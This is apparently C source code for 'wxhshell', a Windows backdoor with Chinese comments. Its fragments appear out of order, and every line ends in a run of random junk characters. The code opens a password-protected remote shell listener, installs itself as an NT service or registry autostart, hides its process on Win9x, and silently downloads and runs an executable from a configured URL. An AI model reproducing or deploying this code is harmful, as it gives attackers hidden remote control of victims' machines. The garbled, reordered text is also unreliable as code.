ULONG UniqueProcessId; "1gIR^S%9
ULONG InheritedFromUniqueProcessId; ^!B]V>L-
} PROCESS_BASIC_INFORMATION; V<WWtu;3
zmQQ/7K
PROCNTQSIP NtQueryInformationProcess; oL~1M=r
K-]) RIM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C5(XZscq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vl$RMW@Ds
BW;@Gq@N
HANDLE hProcess; N|mggz
PROCESS_BASIC_INFORMATION pbi; eY`z\I
pImq<Z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s>L-0vG
if(NULL == hInst ) return 0; cWnEp';.
Bj{J&{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2.nT k
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "
:e
<a?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =,*/Ph&
\0lQ1FrY
if (!NtQueryInformationProcess) return 0; b6;MTz*k>
E<LH-_$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EiD41N
if(!hProcess) return 0; MA{ZmPm)
\=RV?mI3?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {6LS$3}VM
N\ <riS9
CloseHandle(hProcess); L|{v kkBo
:
HU|BJ>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @sa_/LH!K
if(hProcess==NULL) return 0; <b~~X`Z
KKk<wya&O
HMODULE hMod; ,4,Bc<
char procName[255]; 'ym Mu}q
unsigned long cbNeeded; "&qAV'U
`<@ "WSn
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i%i s<'
8fQfu'LyjY
CloseHandle(hProcess); - ]/=WAOK
>t9DI
if(strstr(procName,"services")) return 1; // 以服务启动 MYJMZ3qBi
KWYjN
h#*
return 0; // 注册表启动 o=![+g
} AH#a+<;a
(uHyWEHt
// 主模块 n[;)(
int StartWxhshell(LPSTR lpCmdLine) 3 %BI+1&T_
{ ( ?e
Et&
SOCKET wsl; m+dQBsz\
BOOL val=TRUE; a_VWgPVdDS
int port=0; B)d 4]]4\\
struct sockaddr_in door; m1K4_a)^[
.i;?8?
if(wscfg.ws_autoins) Install(); 7#&Q-3\:
Ke[`zui@?
port=atoi(lpCmdLine); p")"t`k7
zk@s#_3ct
if(port<=0) port=wscfg.ws_port; dBM{]@bZ
S6JWsi4C:,
WSADATA data; D\-DsT.H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G `eU
0<<ATw$aQ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1JOoICjB
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D#,A_GA{A
door.sin_family = AF_INET; Tqs|2at<t
door.sin_addr.s_addr = inet_addr("127.0.0.1"); k:mW ,s|a
door.sin_port = htons(port); 0Bkc93
D2Q0p(#%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p?
w^|V
closesocket(wsl); WS@"8+re;
return 1; Q7zpu/5?
}
1=X1<@*
4UPxV"H
if(listen(wsl,2) == INVALID_SOCKET) { 7 > _vH]
closesocket(wsl); t3v_o4`&
return 1; 6Xn9$C)
} wZ`*C
mr
Wxhshell(wsl); lQRtsmZ0
WSACleanup(); pI_:3D
xe
A&jR-%JG
return 0; J{5p4bkb
2PNe~9)*#
} DdeKZ)8
<|E*aR|M
// 以NT服务方式启动 (BK_A{5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hh&qjf
{ |v#rSVx
DWORD status = 0; T;,,!
DWORD specificError = 0xfffffff; !@arPN$
#B!M,TWf9s
serviceStatus.dwServiceType = SERVICE_WIN32; >I;.q|T
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s._,IW;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; * vqUOh
serviceStatus.dwWin32ExitCode = 0; u3Zu ~C
serviceStatus.dwServiceSpecificExitCode = 0; ,nV4%Aa
serviceStatus.dwCheckPoint = 0; @W, <8
serviceStatus.dwWaitHint = 0; wIWO?w2
^nFP#J)_5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ib
@<%
if (hServiceStatusHandle==0) return; Ue>{n{H"y
4#t-?5"
status = GetLastError(); [;~"ctf{
if (status!=NO_ERROR) lPtML<a
{ h$6~3^g:P
serviceStatus.dwCurrentState = SERVICE_STOPPED; aej'c bO
serviceStatus.dwCheckPoint = 0; Y%}N@ ,lT
serviceStatus.dwWaitHint = 0; 5-&"nn2*}1
serviceStatus.dwWin32ExitCode = status; ##alzC
serviceStatus.dwServiceSpecificExitCode = specificError; ['K}p24,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e3[Q6d&|
return; 43O5|8o
} 1FT3d
wAL}c(EHO
serviceStatus.dwCurrentState = SERVICE_RUNNING; H_aG\
serviceStatus.dwCheckPoint = 0; 5;HCNwX
serviceStatus.dwWaitHint = 0; M7&G9SGZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nn U`u.$D
} V"} Jsr
Z
B!~@Vf
// 处理NT服务事件,比如:启动、停止 >
+00[T
VOID WINAPI NTServiceHandler(DWORD fdwControl) uaky2SgN
{ }O| 9Qb
switch(fdwControl) h b8L[ 4
{ MhB>bnWXR
case SERVICE_CONTROL_STOP: 3od16{YH
serviceStatus.dwWin32ExitCode = 0; [r'A8!/|[
serviceStatus.dwCurrentState = SERVICE_STOPPED; =([4pG
serviceStatus.dwCheckPoint = 0; XBO(
*6"E
serviceStatus.dwWaitHint = 0; 7QoMroR
{ >6)|>#Wi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 64>CfU(
} 6}|h
return; E\p"%
case SERVICE_CONTROL_PAUSE: <vD(,||
serviceStatus.dwCurrentState = SERVICE_PAUSED; Hk(=_[S
break; XGjFb4Tw7
case SERVICE_CONTROL_CONTINUE: (=EDqAZg
serviceStatus.dwCurrentState = SERVICE_RUNNING; %}XyzGq{
break; |>.</68Z
case SERVICE_CONTROL_INTERROGATE: ,(f W0d#
break; sH >zsc
}; Ps[#z@5{x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FaaxfcIfkw
} w)>/fG|;
H[?l)nZ}
// 标准应用程序主函数 v\=k[oOu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _6aI>b#yL
{ OHH\sA
FJsM3|{2=d
// 获取操作系统版本 U@}P]'`'f
OsIsNt=GetOsVer(); %)o;2&aD
GetModuleFileName(NULL,ExeFile,MAX_PATH); #V@vz#bo=
cfc=a
// 从命令行安装 /!hxW}>^
if(strpbrk(lpCmdLine,"iI")) Install(); Z..s /K{
^W0eRT
// 下载执行文件 85:mh\@-G
if(wscfg.ws_downexe) { jZ<f-Ff0
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P#,g5
WinExec(wscfg.ws_filenam,SW_HIDE); {YIVi:4q
} *3y_FTh8ra
$N4i)>&T2
if(!OsIsNt) { h-%RSei5
// 如果时win9x,隐藏进程并且设置为注册表启动 ]QF*\2b-I2
HideProc(); yONX?cS
StartWxhshell(lpCmdLine); Gr~J-#a3~D
} xv_Z$&9e>l
else ~AcjB(
if(StartFromService()) KN.WTaO
// 以服务方式启动 ~mT([V
StartServiceCtrlDispatcher(DispatchTable); + ;B K|([#
else Nbt.y 'd
// 普通方式启动 /)V8X#,
StartWxhshell(lpCmdLine); Rab7Y,AA
bG]?AiWr
return 0; ezhK[/E=
} hhJs$c(
rKr\Qy+q
:?\Je+iA
e @|uG %
=========================================== b2hXFwPe
ohPDknHp
T{lK$j
|N5|B Q(y$
Gyy?cn6_
v<gve<]
" }J_#N.y
piAFxS<6
#include <stdio.h> hJ~=eYK?J
#include <string.h> d-B,)$zE
#include <windows.h> 1j!{?t?
#include <winsock2.h> B?;P:!/1
#include <winsvc.h> W>E|Iv[o
#include <urlmon.h> ?Nl@K/
~L9I@(/S
#pragma comment (lib, "Ws2_32.lib") G]gc*\4
#pragma comment (lib, "urlmon.lib") )/BbASO$)Z
nZ#0L`@"Y
#define MAX_USER 100 // 最大客户端连接数 =L,7~9
#define BUF_SOCK 200 // sock buffer U;FJSy
#define KEY_BUFF 255 // 输入 buffer ZP"Xn/L
lT;uL~j
#define REBOOT 0 // 重启 1"RC!
#define SHUTDOWN 1 // 关机 1raq;^e9
f
SMy?8
#define DEF_PORT 5000 // 监听端口 c{})Z=
+sx$%N
#define REG_LEN 16 // 注册表键长度 t+A9nvj)
#define SVC_LEN 80 // NT服务名长度 Lwkl*
:[ll$5E.
// 从dll定义API I$oqFF|D
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d,0Klew
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nYy+5u]FG
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =v=u+nO
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oGz5ZDa#
*JiI>[
// wxhshell配置信息 C\}M_MD
struct WSCFG { Uh3N#O
int ws_port; // 监听端口 {EyWSf"
char ws_passstr[REG_LEN]; // 口令 af}JS2=$
int ws_autoins; // 安装标记, 1=yes 0=no NwNjB
w%v
char ws_regname[REG_LEN]; // 注册表键名 c2fw;)j&X
char ws_svcname[REG_LEN]; // 服务名 PySFhb@
char ws_svcdisp[SVC_LEN]; // 服务显示名 b-YmS=*
char ws_svcdesc[SVC_LEN]; // 服务描述信息 YGOhUT |
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SL?YU(a
int ws_downexe; // 下载执行标记, 1=yes 0=no {ukQBu#}<
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =&WH9IKz